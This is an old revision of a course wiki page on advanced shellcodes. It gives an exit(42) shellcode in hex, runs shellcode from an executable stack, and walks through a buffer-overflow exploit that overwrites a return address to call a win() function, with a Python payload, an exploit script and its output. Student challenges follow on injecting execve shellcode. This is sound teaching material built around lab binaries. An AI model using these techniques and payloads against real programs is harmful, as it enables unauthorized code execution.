User Tools

Site Tools


Sidebar

session:08

This is an old revision of the document!


0x08. Shellcodes (advanced)

Resources

Reminder: Shellcode

A shellcode is a little piece of binary data that is meant to be executed by a process as part of an attack vector. An attacker would usually place a shellcode in the process memory and aim to execute it to trigger an advantageous effect for the attacker.

While a shellcode would typically result in the attacker gaining a shell process by the means the of the execve system call, this needn't always be the case. Some shellcodes may result in writing data to a socket, scanning the memory, opening/creating a file and many others.

A shellcode is typically written in assembly language and then compiled into binary object code and fed to the vulnerable program. There are three actions an attacker must undertake to run a shellcode in a vulnerable program:

  1. Write the shellcode: typically done in assembly and then convert it in binary object code.
  2. Inject the shellcode into the memory address space of the vulnerable process. This is fed through some form of input to the process (standard input, program arguments, sockets, I/O, environment variables etc.).
  3. Trigger the running of the shellcode by jumping to the shellcode address, usually done through a buffer overflow.

1. Tutorial: Shellcode Running

Go to 01-tutorial-shellcode/ in the activities archive.

shellcode.S is a simple shellcode doing an exit(42). You can build it in shellcode.bin and print it by running

$ make print
\xbb\x2a\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80

The shellcode is already part of vuln.c, compiled into the vuln executable, in the shellcode global variable. It's run by forcing the shellcode variable and by casting it to a function pointer and calling it:

        void (*func_ptr)(void) = (void (*)(void)) shellcode;
        func_ptr();

This is possible due to making the data section executable when linking the vuln executable with the -zexecstack option, as shown in the Makefile.

You can check it works properly by running it and checking the return code:

$ ./vuln
Nice function at 0x8048510
$ echo $?
42

You can also check that by running the vuln program under strace:

$ strace ./vuln
execve("./vuln", ["./vuln"], [/* 27 vars */]) = 0
strace: [ Process PID=11063 runs in 32 bit mode. ]
[...]
write(1, "Nice function at 0x8048510\n", 27Nice function at 0x8048510
) = 27
exit(42)                                = ?
+++ exited with 42 +++

2. Challenge: exec Shellcode

Go to 02-challenge-shellcode-exec/ in the activities archive.

Find a proper shellcode in the shellcode repository (or generate one under GDB PEDA using the shellcode command) and update the shellcode variable in the vuln.c file, build it into the vuln executable using make and check it works properly. Run it by itself and then run it under strace.

3. Challenge: exec Shellcode (x86_64)

Go to 03-challenge-shellcode-exec-x64/ in the activities archive.

Find a proper shellcode in the shellcode repository for Linux and the x86_64 architecture (or generate one under GDB PEDA using the shellcode command) and update the shellcode variable in the vuln.c file, build it into the vuln executable using make and check it works properly. Run it by itself and then run it under strace.

4. Challenge: Shellcode as Argument

Go to 02-challenge-shellcode-argv/ in the activities archive.

Feed the vuln executable a proper x86_64 shellcode as a program argument. Make sure it works by running it by itself and then run it under strace.

5. Challenge: Shellcode at Standard Input

Go to 05-challenge-shellcode-stdin/ in the activities archive.

Feed the vuln executable a proper x86_64 shellcode as a program at standard input. Use the “keep stdin working” construct such as below:

cat <(python -c 'print "TODO"') - | ./vuln

6. Tutorial: Buffer Overflow

Go to 06-tutorial-buffer-overflow/ in the activities archive.

The vuln.c file shows a pretty clear buffer overflow:

        char input[64];
        fgets(input, 256, stdin);

We want to call the function win(). As shown in session 06: Buffer Management we do the following steps:

  1. Find the address of the win() function.
  2. Determine the offset from the start of the buffer to the place storing the function return address.
  3. Create a payload that overwrites the return address with the address of the win function.

We find the address of the win() function by using nm:

$ nm vuln | grep win
00000000004005b7 t win

We determine the offset from the start of the buffer to the place storing the function return address by using GDB PEDA doing the following steps:

  1. Run the program under GDB with gdb ./vuln.
  2. Create a cyclic pattern using pattc.
  3. Run the program using run.
  4. Feed the cyclic pattern to it (copy-paste).
  5. Extract the substring value from RBP (we can't do it for RIP on x86_64).
  6. Get the offset from the start of the buffer to the saved RBP using patto.
  7. Add 8 to the offset (the size of saved RBP) to determine the offset from the start of the buffer to the place storing the function return address.

We create the payload by using Python:

python -c 'print "A"*88 + "\xb7\x05\x40\x00\x00\x00\x00\x00"'

where:

  1. 88 is the computed offset
  2. \xb7\x05\x40\x00\x00\x00\x00\x00 is the little endian x86_64 bit address of the win() function

We exploit the program by feeding the input to the vuln executable by running

python -c 'print "A"*88 + "\xb7\x05\x40\x00\x00\x00\x00\x00"' | ../src/vuln

The exploit script is in sol/exploit.sh. You can run it:

$ ./exploit.sh
Have a number: 50
Hello! Gimme input: Glad to meet you!
Congrats!
./exploit.sh: line 3: 11652 Done                    python -c 'print "A"*88 + "\xb7\x05\x40\x00\x00\x00\x00\x00"'
     11653 Segmentation fault      | ../src/vuln

The printing of the Congrats! message above means the exploit succeeded and we were able to call the win() function.

7. Challenge: Buffer Overflow

Go to 07-challenge-buffer-overflow/ in the activities archive.

Similarly to the tutorial in 06-tutorial-buffer-overflow/, create a buffer overflow that ends up calling the win() function and printing the Congrats! message. You can use the skeleton exploit script in sol/exploit_template.sh.

8. Challenge: Buffer Overflow

Go to 08-challenge-buffer-overflow/ in the activities archive.

Similarly to the tutorial in 07-tutorial-buffer-overflow/, create a buffer overflow that ends up calling the win() function and printing the Congrats! message. You can use the skeleton exploit script in sol/exploit_template.sh. This time you don't have acces to the source code, only to the executable.

9. Challenge: Buffer Overflow and Shellcode

Go to 09-challenge-buffer-overflow-shellcode/ in the activities archive.

Exploit the buffer overflow in the input variable on the stack and feed it a shellcode in the shellcode global variable and execute the shellcode. You can use the skeleton exploit script in sol/exploit_template.sh.

session/08.1530629092.txt.gz · Last modified: 2018/07/03 17:44 by Razvan Deaconescu